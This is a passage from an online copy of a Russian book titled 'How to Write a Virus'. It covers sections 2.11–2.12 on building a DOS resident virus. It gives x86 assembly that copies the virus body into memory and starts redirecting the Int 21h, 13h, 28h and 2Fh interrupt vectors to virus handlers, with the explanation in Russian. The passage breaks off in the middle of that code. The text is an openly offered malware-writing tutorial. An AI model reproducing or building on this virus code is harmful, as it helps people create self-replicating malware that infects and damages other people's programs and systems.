"Игорь Коваль. Как написать вирус" - читать интересную книгу автора тывать прерывания: Int 21h, Int 13h, Int 28h и Int
2fh.Несколько позже мы разберемся, почему потребо- валось перехватить именно их и приведем тексты ви- русных обработчиков этих прерываний. 2.11 Копируем вирусный код в память Теперь настало время переписать в память код виру- са и подготовить его к работе в резидентном режи- ме : mov word ptr vir,9090h ;Подготавливаем mov tg_infect,0 ;вирус к рези- ;дентной работе mov es,ax ;И копируем его xor di,di ;в память... mov cx,vir_len prg_copy: mov bl,byte ptr vir[di] mov byte ptr es:[di],bl inc di loop prg_copy В самом начале нужно сбросить в ноль переменную файлов, пока его об этом не попросят .Далее,в пер- вые два байта кода вируса, который мы собираемся записывать в память, следует записать две команды NOP, или код 9090h ( см п. 2.2 ) . Теперь тело вируса просто копируется в блок памя- ти, сегментный адрес которого задан в регистре AX. 2.12 Устанавливаем вектора прерываний на вирусные обработчики Все подготовительные действия выполнены, и нам то- лько осталось заменить адреса системных обработчи- ков прерываний Int 21h, Int 13h, Int 28h и Int 2fh на адреса вирусных обработчиков,после чего необхо- димо передать управление зараженной программе .Это мы сейчас и сделаем : xor bx,bx ;Устанавливаем ;вектора преры- mov es,bx ;ваний на вирус- cli ;ные обработчики mov di,084h mov word ptr es:[di],to_new_21h |
|
|